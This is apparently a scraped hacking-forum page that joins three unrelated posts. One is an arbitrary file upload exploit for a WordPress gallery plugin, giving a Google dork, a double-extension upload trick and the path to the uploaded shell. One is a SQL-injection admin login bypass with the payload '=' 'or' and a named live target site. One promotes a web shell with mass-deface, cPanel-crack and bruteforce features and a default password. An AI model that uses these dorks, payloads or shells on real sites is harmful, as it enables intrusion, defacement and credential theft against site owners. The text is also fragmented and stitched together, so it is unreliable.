##############################################################################
# Description : Wordpress Plugins - Fancy Gallery Arbitrary File Upload Vulnerability
# Version : 1.2.4

# link : http://codecanyon.net/item/fancy-gallery-wordpress-plugin/400535

# Price : 18$
# Date : 22-06-2012
# Google Dork : inurl:/wp-content/plugins/radykal-fancy-gallery/
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
###############################################################################


CSRF HERE

isi Postname = file[]


ext file : lo.php.gif , png , jpg 


Access : http://www.exemple.com/wordpress/wp-content/plugins/radykal-fancy-gallery/admin/file.png

Penampakan Shell

Fitur ? Cek Sendiri ea :v

Download Shell Disini

Penampakan

 

Download Shell

 Disini

Penampakan Login

 

Dalemnya

Download Shell Disini
default password :  devilzc0der

# Exploit Title: AspireWebSolutions Admin Login bypass
# Dork : "Designed By AspireWebSolutions"

# Date: 2017-05-09

# Author: Alireza Nejati
# Vendor : http://www.aspirewebsol.com/
# Tested on: win
=====================================================
Tutorial :

[+] Dorking in google or other search enggine
[+] Open target
[+] Enter username and password with
[+] Username: '=' 'or'
[+] Password: '=' 'or'
======================================================
Admin Address : admin/login.php
======================================================
Demo :
http://miracleexpress.in/admin/login.php

 Shell Ini Adalah Shell Hasil Recode Dari Shell IndoXploit Dan Telah Ditambahkan Beberapa Fitur.
Dan Shell Ini Juga Merupakan Shell Generasi Kedua Dari Shell Sebelumnya Yang Sudah Saya Rilis.

Fitur :
 

=> cmd
=> jumping
=> config
=> adminer
=> admin finder
=> mass deface
=> mass dellet
=> symlink
=> cpanel crack
=> exploit elfinder
=> mass submit mirror
=> zone h
=> network
=> wp bruteforce
=> joomla bruteforce
=> decode file
=> lokomedia exploit
=> email bruteforce
=> mass symlink&cp/whm crack
=> adminer
=> whois
=> fake root
=> auto edit user
=> bypass
=> wp respass
=> vb index
=> whcms decoder
=> wp auto deface
=> wp auto deface 2

Untuk Filenya Bisa Disedot Disini